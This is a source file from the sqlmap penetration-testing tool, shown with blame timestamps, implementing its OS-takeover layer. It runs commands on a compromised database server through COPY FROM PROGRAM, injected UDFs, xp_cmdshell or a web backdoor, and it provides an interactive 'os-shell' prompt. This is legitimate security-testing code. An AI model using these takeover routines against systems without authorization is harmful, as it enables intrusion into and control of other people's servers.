sqlmap/lib/takeover/abstraction.py

231 lines
8.2 KiB
Python
Raw Normal View History

2019-05-08 13:47:52 +03:00
#!/usr/bin/env python
"""
2019-01-05 23:38:52 +03:00
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
2017-10-11 15:50:46 +03:00
See the file 'LICENSE' for copying permission
"""
2019-01-22 03:28:24 +03:00
from __future__ import print_function
2015-01-15 14:42:32 +03:00
import sys
from extra.safe2bin.safe2bin import safechardecode
from lib.core.common import Backend
2019-06-04 15:44:06 +03:00
from lib.core.common import dataToStdout
2012-07-10 03:19:32 +04:00
from lib.core.common import getSQLSnippet
from lib.core.common import isStackingAvailable
from lib.core.common import readInput
2019-05-06 01:54:21 +03:00
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import logger
2014-09-16 11:07:31 +04:00
from lib.core.enums import AUTOCOMPLETE_TYPE
from lib.core.enums import DBMS
2014-09-16 16:12:43 +04:00
from lib.core.enums import OS
2013-01-23 05:27:01 +04:00
from lib.core.exception import SqlmapFilePathException
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.shell import autoCompletion
from lib.request import inject
from lib.takeover.udf import UDF
from lib.takeover.web import Web
2016-12-20 01:47:39 +03:00
from lib.takeover.xp_cmdshell import XP_cmdshell
2019-05-02 01:45:44 +03:00
from thirdparty.six.moves import input as _input
2016-12-20 01:47:39 +03:00
class Abstraction(Web, UDF, XP_cmdshell):
"""
This class defines an abstraction layer for OS takeover functionalities
2016-12-20 01:47:39 +03:00
to UDF / XP_cmdshell objects
"""
def __init__(self):
self.envInitialized = False
2010-02-25 14:40:49 +03:00
self.alwaysRetrieveCmdOutput = False
UDF.__init__(self)
Web.__init__(self)
2016-12-20 01:47:39 +03:00
XP_cmdshell.__init__(self)
def execCmd(self, cmd, silent=False):
2019-03-22 15:49:52 +03:00
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
self.copyExecCmd(cmd)
elif self.webBackdoorUrl and not isStackingAvailable():
2010-01-14 17:33:08 +03:00
self.webBackdoorRunCmd(cmd)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
self.udfExecCmd(cmd, silent=silent)
elif Backend.isDbms(DBMS.MSSQL):
self.xpCmdshellExecCmd(cmd, silent=silent)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise SqlmapUnsupportedFeatureException(errMsg)
def evalCmd(self, cmd, first=None, last=None):
2011-05-03 19:31:12 +04:00
retVal = None
2019-03-22 15:49:52 +03:00
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
retVal = self.copyExecCmd(cmd)
elif self.webBackdoorUrl and not isStackingAvailable():
2011-05-03 19:31:12 +04:00
retVal = self.webBackdoorRunCmd(cmd)
2010-01-14 17:33:08 +03:00
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
2011-05-03 19:31:12 +04:00
retVal = self.udfEvalCmd(cmd, first, last)
elif Backend.isDbms(DBMS.MSSQL):
2011-05-03 19:31:12 +04:00
retVal = self.xpCmdshellEvalCmd(cmd, first, last)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise SqlmapUnsupportedFeatureException(errMsg)
2011-05-03 19:31:12 +04:00
return safechardecode(retVal)
def runCmd(self, cmd):
2017-04-18 16:48:05 +03:00
choice = None
2010-02-25 14:40:49 +03:00
if not self.alwaysRetrieveCmdOutput:
2011-04-30 17:20:05 +04:00
message = "do you want to retrieve the command standard "
message += "output? [Y/n/a] "
2017-07-26 01:54:29 +03:00
choice = readInput(message, default='Y').upper()
2017-07-26 01:54:29 +03:00
if choice == 'A':
2010-02-25 14:40:49 +03:00
self.alwaysRetrieveCmdOutput = True
2017-07-26 01:54:29 +03:00
if choice == 'Y' or self.alwaysRetrieveCmdOutput:
output = self.evalCmd(cmd)
if output:
conf.dumper.string("command standard output", output)
else:
2010-10-21 02:09:03 +04:00
dataToStdout("No output\n")
else:
self.execCmd(cmd)
2010-01-14 17:33:08 +03:00
def shell(self):
if self.webBackdoorUrl and not isStackingAvailable():
2011-04-30 17:20:05 +04:00
infoMsg = "calling OS shell. To quit type "
2010-01-14 17:33:08 +03:00
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
else:
2019-03-22 15:49:52 +03:00
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
infoMsg = "going to use 'COPY ... FROM PROGRAM ...' "
infoMsg += "command execution"
logger.info(infoMsg)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
infoMsg = "going to use injected user-defined functions "
infoMsg += "'sys_eval' and 'sys_exec' for operating system "
2010-01-14 17:33:08 +03:00
infoMsg += "command execution"
logger.info(infoMsg)
elif Backend.isDbms(DBMS.MSSQL):
2019-03-22 15:49:52 +03:00
infoMsg = "going to use extended procedure 'xp_cmdshell' for "
2010-01-14 17:33:08 +03:00
infoMsg += "operating system command execution"
logger.info(infoMsg)
2010-01-14 17:33:08 +03:00
else:
errMsg = "feature not yet implemented for the back-end DBMS"
raise SqlmapUnsupportedFeatureException(errMsg)
2010-01-14 17:33:08 +03:00
2011-04-30 17:20:05 +04:00
infoMsg = "calling %s OS shell. To quit type " % (Backend.getOs() or "Windows")
2010-01-14 17:33:08 +03:00
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
2014-09-16 16:12:43 +04:00
autoCompletion(AUTOCOMPLETE_TYPE.OS, OS.WINDOWS if Backend.isOs(OS.WINDOWS) else OS.LINUX)
while True:
command = None
try:
2019-05-02 01:45:44 +03:00
command = _input("os-shell> ")
2015-01-15 14:42:32 +03:00
command = getUnicode(command, encoding=sys.stdin.encoding)
except KeyboardInterrupt:
2019-01-22 03:28:24 +03:00
print()
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
2019-01-22 03:28:24 +03:00
print()
errMsg = "exit"
logger.error(errMsg)
break
if not command:
continue
if command.lower() in ("x", "q", "exit", "quit"):
break
self.runCmd(command)
def _initRunAs(self):
2012-07-24 17:34:50 +04:00
if not conf.dbmsCred:
return
if not conf.direct and not isStackingAvailable():
2013-04-29 14:14:00 +04:00
errMsg = "stacked queries are not supported hence sqlmap cannot "
errMsg += "execute statements as another user. The execution "
errMsg += "will continue and the DBMS credentials provided "
errMsg += "will simply be ignored"
logger.error(errMsg)
return
if Backend.isDbms(DBMS.MSSQL):
msg = "on Microsoft SQL Server 2005 and 2008, OPENROWSET function "
msg += "is disabled by default. This function is needed to execute "
msg += "statements as another DBMS user since you provided the "
2013-04-29 14:14:44 +04:00
msg += "option '--dbms-creds'. If you are DBA, you can enable it. "
msg += "Do you want to enable it? [Y/n] "
2017-04-18 16:48:05 +03:00
if readInput(msg, default='Y', boolean=True):
2012-07-10 03:19:32 +04:00
expression = getSQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1")
inject.goStacked(expression)
# TODO: add support for PostgreSQL
# elif Backend.isDbms(DBMS.PGSQL):
# expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
# inject.goStacked(expression)
def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False):
self._initRunAs()
if self.envInitialized and not forceInit:
return
2010-01-14 18:11:32 +03:00
if web:
self.webInit()
else:
self.checkDbmsOs(detailed)
2010-01-14 18:11:32 +03:00
if mandatory and not self.isDba():
2012-07-13 16:33:16 +04:00
warnMsg = "functionality requested probably does not work because "
2017-08-20 11:02:26 +03:00
warnMsg += "the current session user is not a database administrator"
if not conf.dbmsCred and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
2012-07-17 03:25:02 +04:00
warnMsg += ". You can try to use option '--dbms-cred' "
warnMsg += "to execute statements as a DBA user if you "
warnMsg += "were able to extract and crack a DBA "
warnMsg += "password by any mean"
2010-01-14 18:11:32 +03:00
logger.warn(warnMsg)
2019-03-22 15:49:52 +03:00
if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
success = True
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
2013-01-23 05:27:01 +04:00
success = self.udfInjectSys()
if success is not True:
msg = "unable to mount the operating system takeover"
raise SqlmapFilePathException(msg)
elif Backend.isDbms(DBMS.MSSQL):
2010-01-14 18:11:32 +03:00
if mandatory:
self.xpCmdshellInit()
else:
errMsg = "feature not yet implemented for the back-end DBMS"
raise SqlmapUnsupportedFeatureException(errMsg)
self.envInitialized = True